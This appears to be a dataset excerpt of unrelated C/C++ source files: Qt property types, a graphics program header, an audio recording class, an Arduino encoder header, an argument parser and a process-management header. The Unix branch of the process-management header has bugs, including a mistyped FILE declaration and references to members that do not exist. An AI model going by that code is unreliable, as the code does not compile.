struct ColorProperty : public Property
{
QColor value;
ColorProperty () {
type = PropertyType::Color;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.value<QColor>();
}
};
struct TextureProperty : public Property
{
QString value;
QString toggleValue;
bool toggle;
TextureProperty () {
type = PropertyType::Texture;
toggle = false;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.toString();
toggle = !value.isEmpty();
}
};
struct FileProperty : public Property
{
QString value;
QString suffix;
FileProperty () {
type = PropertyType::File;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.toString();
}
};
struct ListProperty : public Property
{
QStringList value;
int index;
ListProperty () {
type = PropertyType::List;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.toStringList();
}
};
/* more abstract types without a physical widget */
struct Vec2Property : public Property
{
QVector2D value;
Vec2Property() {
type = PropertyType::Vec2;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.value<QVector2D>();
}
};
struct Vec3Property : public Property
{
QVector3D value;
Vec3Property() {
type = PropertyType::Vec3;
}
QVariant getValue() {
return value;
}
void setValue(QVariant val) {
value = val.value<QVector3D>();
}
};
}
#endif // PROPERTYTYPE_H
|
/*! \file pg-main.h
*
*
* File pg-main.h
*
*
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public License
* as published by the Free Software Foundation; either version 2.1
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this program; if not, write to the Free
* Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*/
#ifndef PG_MAIN_H
#define PG_MAIN_H
#ifndef MAXFLOAT
#ifndef _VISUAL_STUDIO
#define MAXFLOAT 3.40282347e+38F
#else
#define MAXFLOAT 3.40282346e+38F
#endif
#endif
#define KEY_ESC 27
#define PI 3.1415926535898
#define StringLength 1024
#define NULL_ID 0
extern char ScreenMessage[StringLength];
extern GLfloat messageTransparency;
extern bool NewScreenMessage;
extern bool ScreenMessageInitialized;
extern int Step;
extern bool DisplayFramePerSecond;
extern double CurrentClockTime;
extern int FramePerSecond;
extern double LastFrameTime;
extern std::stringstream date_stringStream;
// frame number
extern int pg_FrameNo;
extern int pg_LaunchFrameNo;
// particle target frame number
extern int pg_targetFrameNo;
// last frame with camera parameter change
extern int pg_LastCameraParameterChange_Frame;
// current window & user --- TEMPORARY
class pg_Window;
extern pg_Window *CurrentWindow;
extern bool windowDisplayed;
// OpenGL contexts
extern HDC MainOpenGLDeviceContext;
extern HGLRC MainOpenGLRenderingContext;
// additional contexts for threading transfer to GPU
#define PG_MAX_NUMBER_OF_OPENGL_CONTEXTS (4)
extern HGLRC SharedOpenGLRenderingContext[PG_MAX_NUMBER_OF_OPENGL_CONTEXTS];
extern struct ThreadTextureData ThreadOpenGLTextureData[PG_MAX_NUMBER_OF_OPENGL_CONTEXTS];
extern int leftWindowWidth;
extern int rightWindowWidth;
extern int rightWindowVMargin;
extern int doubleWindowWidth;
/// trace
extern FILE *fileLog;
/// error message and input buffer
extern char *ErrorStr;
// Input network message string
extern char *Input_Message_String;
extern char *Input_Message_Local_Commande_String;
extern char *Output_Message_String;
extern char *Output_Message_Pattern;
extern char *Output_Message_ArgList;
extern char *Output_Message_OSC;
/// current mouse location
extern int CurrentMousePos_x, CurrentMousePos_y;
extern int CurrentCursorHooverPos_x, CurrentCursorHooverPos_y;
extern int CurrentCursorStylusvsRubber;
#define pg_Stylus 1
#define pg_Rubber -1
// current tablet pen pressure and orientation
extern float tabletPressureRadius;
extern float tabletAzimutRadius;
extern float tabletInclinationRadius;
/// initial time
extern double InitialRealTime;
extern double LastDecayTime;
/*! \name Group size_view_volume
* \brief size of the view volume
*/
// @{
extern char **input_message_stack;
extern int *input_message_length_stack;
// @}
/// OpenGL background color
extern float OpenGLBGColor[4];
int main(int argc, char **argv);
/// screen_message initialization
void pg_init_screen_message( void );
/// OpenGL and glut initialization
void OpenGLInit( void );
/// scene initialization
void pg_init_scene( void );
void pg_screenMessage_update( void );
void pg_draw_scene( DrawingMode mode );
/// main window initialization
void initGlutWindows( void );
void window_idle_browse( void );
void window_idle_browse( int step );
void pg_process_special_key( int key );
void pg_process_key( int key );
/// scene termination
void quit( void );
/* void window_idle_browse1( int step ); */
void window_display( void );
void window_reshape(GLsizei width, GLsizei height);
void window_key_browse(unsigned char key, int x, int y) ;
void window_key_browse(unsigned char key, int x, int y) ;
void window_special_key_browse(int key, int x, int y) ;
#ifdef PG_WACOM_TABLET
void window_PG_WACOM_TABLET_browse(int x, int y, float press, float az, float incl, int twist , int cursor );
#endif
void updateMouseEnvironmentVariablesAndTables( double theTime );
void window_mouseFunc_browse(int button, int state, int x, int y) ;
void window_motionFunc_browse(int x, int y) ;
void window_passiveMotionFunc_browse(int x, int y);
void window_idle_browse( int step );
void CursorInit( void );
#endif
|
/*
Copyright 2009 The Open University
http://www.open.ac.uk/lts/projects/audioapplets/
This file is part of the "Open University audio applets" project.
The "Open University audio applets" project is free software: you can
redistribute it and/or modify it under the terms of the GNU General Public
License as published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
The "Open University audio applets" project is distributed in the hope that it
will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with the "Open University audio applets" project.
If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef _RecordingDevice_H_
#define _RecordingDevice_H_
#include <Carbon/Carbon.h>
#include <AudioUnit/AudioUnit.h>
#include <AudioToolbox/AudioToolbox.h>
#include "Synchronize.h"
class RecordingDevice
{
public:
RecordingDevice();
char* Init();
char* Start();
char* Stop();
char* Reset();
virtual ~RecordingDevice();
UInt32 GetSampleRate()
{
return fSampleRate;
}
bool IsStereo()
{
return fStereo;
}
AudioBuffer* RetrieveBuffer();
static OSStatus InputProc(void *inRefCon,
AudioUnitRenderActionFlags *ioActionFlags,
const AudioTimeStamp *inTimeStamp,
UInt32 inBusNumber,
UInt32 inNumberFrames,
AudioBufferList * ioData);
Mutex* GetMutex()
{
return &fMutex;
}
UInt32 GetNumBuffers()
{
return fNumBuffers;
}
private:
bool fInited;
AudioUnit fInputUnit;
bool fStereo;
UInt32 fSampleRate;
AudioBufferList** fBuffers;
UInt32 fNumBuffers,fRecordingIndex,fPlaybackIndex;
Mutex fMutex;
};
#endif // _RecordingDevice_H_
|
/* Copyright (C) 2013 Stefan Wenn, SEMM */
/*----------------------------------------------------------------------------*/
/* Projekt: SEMM */
/* Modul: XY-Positioniereinheit (XYS) */
/* Autor/en: Stefan wenn (SW) */
/* */
/* Dateiname: rotaryrncoder.h */
/* Version: 0.9 */
/* Versionsstatus: Experimentell */
/* */
/* Platform: Arduino Uno */
/* */
/* Beschreibung: Dient dem Auswerten und Auslensen eines Inkrementalgebers */
/*----------------------------------------------------------------------------*/
#ifndef __ENCODER_H
#define __ENCODER_H
#include <Arduino.h>
class RotaryEncoder {
public:
RotaryEncoder(int aPin, int bPin);
long getPos() { return m_pos; }
float getSpeed() { return m_speed; }
int setSpeedUpdateTimeMs() { return m_speedUpdateTimeMs; }
void setPos(long pos) { m_pos = pos; }
void setSpeedUpdateTimeMs(int time) { m_speedUpdateTimeMs = time; }
void updatePos();
private:
int m_aPin, m_bPin;
long m_pos;
byte m_last;
unsigned long m_lastTime;
float m_speed;
int m_speedUpdateTimeMs;
};
#endif
|
#include "args.h"
args_t *
args_new(void) {
args_t *args;
args = malloc(sizeof(args_t));
args->project_file = NULL;
return args;
}
void
args_free(args_t *args) {
free(args->project_file);
free(args);
}
void
args_print_usage() {
handle_error("Usage: ./cpareia -p project_file [-t max_threads]\n");
}
void
args_calc_threads(args_t *args, int max_threads) {
/* We need at least 3 threads */
if(max_threads < 3) {
max_threads = sysconf(_SC_NPROCESSORS_ONLN);
printf("max_threads precisa ser maior que 3.\n");
printf("Usando número de cores como padrão (%d).\n", max_threads);
}
args->max_threads = max_threads;
args->key_threads = (max_threads - 1) / 2;
args->read_threads = 1;
args->block_threads = args->max_threads - args->key_threads;
}
void
args_parse(args_t *args, int argc, char *argv[]) {
int c, max_threads;
struct option options[] = {
{"project", required_argument, 0, 'p'},
{"threads", optional_argument, 0, 't'},
{0, 0, 0, 0}
};
static char optstr[] = "p:t:";
max_threads = 0;
while ((c = getopt_long(argc, argv, optstr, options, NULL)) != -1) {
switch(c) {
case 'p':
args->project_file = strdup(optarg);
check_file(args->project_file);
break;
case 't':
max_threads = atoi(optarg);
break;
case '?':
default:
args_print_usage();
}
}
if(!args->project_file)
args_print_usage();
args_calc_threads(args, max_threads);
}
|
#ifndef ZC_PROCESS_MANAGEMENT_H
#define ZC_PROCESS_MANAGEMENT_H
#include <cstdio>
#include <string>
static uint32_t __dummy_;
#ifdef _WIN32
#define NOGDI
#define WinMain __win_main
#include "windows.h"
#undef WinMain
#undef NOGDI
#endif
struct process_killer
{
#ifdef _WIN32
void* process_handle;
void kill(uint32_t exitcode = 0);
void init(void* h, uint32_t exitcode = 0)
{
if(process_handle)
kill(exitcode);
process_handle = h;
}
process_killer(void* h) : process_handle(h) {}
process_killer() : process_handle(NULL) {}
#else
int32_t pid;
void kill(uint32_t exitcode = 0);
void init(int32_t pr_id, uint32_t exitcode = 0)
{
if(pid)
kill(exitcode);
pid = pr_id;
}
process_killer(int32_t pr_id) : pid(pr_id) {}
process_killer() : pid(0) {}
#endif
};
struct io_manager
{
virtual bool read(void* buf, uint32_t bytes_to_read, uint32_t* bytes_read = NULL) = 0;
virtual bool write(void* buf, uint32_t bytes_to_write, uint32_t* bytes_written = NULL) = 0;
};
struct process_manager : public io_manager
{
#ifdef _WIN32
//{ Windows
HANDLE write_handle;
HANDLE read_handle;
HANDLE wr_2;
HANDLE re_2;
PROCESS_INFORMATION pi;
process_killer pk;
bool kill_on_destructor;
process_manager() : write_handle(NULL),
read_handle(NULL), kill_on_destructor(true),
wr_2(NULL), re_2(NULL)
{}
void kill(uint32_t exitcode = 0)
{
pk.kill(exitcode);
}
~process_manager()
{
if(write_handle)
{
CloseHandle(write_handle);
write_handle = NULL;
}
if(read_handle)
{
CloseHandle(read_handle);
read_handle = NULL;
}
if(wr_2)
{
CloseHandle(wr_2);
wr_2 = NULL;
}
if(re_2)
{
CloseHandle(re_2);
re_2 = NULL;
}
if(kill_on_destructor)
kill();
}
virtual bool read(void* buf, uint32_t bytes_to_read, uint32_t* bytes_read = NULL)
{
if(!bytes_read) bytes_read = &__dummy_;
if(read_handle)
return ReadFile((HANDLE)read_handle, (LPVOID)buf, (DWORD)bytes_to_read, (LPDWORD)bytes_read, NULL);
return false;
}
virtual bool write(void* buf, uint32_t bytes_to_write, uint32_t* bytes_written = NULL)
{
if(!bytes_written) bytes_written = &__dummy_;
if(write_handle)
return WriteFile((HANDLE)write_handle, (LPVOID)buf, (DWORD)bytes_to_write, (LPDWORD)bytes_written, NULL);
return false;
}
//}
#else
//{ Unix
FILE* write_handle, read_handle;
process_killer pk;
bool kill_on_destructor;
process_manager() : kill_on_destructor(true) {}
void kill(uint32_t exitcode = 0)
{
pk.kill(exitcode);
}
~process_manager()
{
if(kill_on_destructor)
kill();
}
virtual bool read(void* buf, uint32_t bytes_to_read, uint32_t* bytes_read = NULL)
{
if(!read_handle) return false;
size_t ret = fread(buf, 1, bytes_to_read, read_handle);
if(bytes_read) *bytes_read = ret;
return ret>0;
}
virtual bool write(void* buf, uint32_t bytes_to_write, uint32_t* bytes_written = NULL)
{
if(!write_handle) return false;
size_t ret = fwrite(buf, 1, bytes_to_write, write_handle);
if(bytes_written) *bytes_written = ret;
return ret==bytes_to_write;
}
//}
#endif
};
struct child_process_handler : public io_manager
{
#ifdef _WIN32
//{
HANDLE in;
HANDLE out;
bool init()
{
out = GetStdHandle(STD_OUTPUT_HANDLE);
in = GetStdHandle(STD_INPUT_HANDLE);
return (out != INVALID_HANDLE_VALUE && in != INVALID_HANDLE_VALUE);
}
child_process_handler()
{
init();
}
virtual bool read(void* buf, uint32_t bytes_to_read, uint32_t* bytes_read = NULL)
{
if(!bytes_read) bytes_read = &__dummy_;
if(in != INVALID_HANDLE_VALUE)
return ReadFile((HANDLE)in, (LPVOID)buf, (DWORD)bytes_to_read, (LPDWORD)bytes_read, NULL);
return false;
}
virtual bool write(void* buf, uint32_t bytes_to_write, uint32_t* bytes_written = NULL)
{
if(!bytes_written) bytes_written = &__dummy_;
if(out != INVALID_HANDLE_VALUE)
return WriteFile((HANDLE)out, (LPVOID)buf, (DWORD)bytes_to_write, (LPDWORD)bytes_written, NULL);
return false;
}
//}
#else
//{
FILE *read_handle, *write_handle;
bool init()
{
read_handle = stdin;
write_handle = stdout;
return (out && in);
}
child_process_handler()
{
init();
}
virtual bool read(void* buf, uint32_t bytes_to_read, uint32_t* bytes_read = NULL)
{
if(!read_handle) return false;
size_t ret = fread(buf, 1, bytes_to_read, read_handle);
if(bytes_read) *bytes_read = ret;
return ret>0;
}
virtual bool write(void* buf, uint32_t bytes_to_write, uint32_t* bytes_written = NULL)
{
if(!write_handle) return false;
size_t ret = fwrite(buf, 1, bytes_to_write, write_handle);
if(bytes_written) *bytes_written = ret;
return ret==bytes_to_write;
}
//}
#endif
};
process_killer launch_process(char const* relative_path, char const** argv = NULL);
process_manager* launch_piped_process(char const* relative_path, char const** argv = NULL);
#endif
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.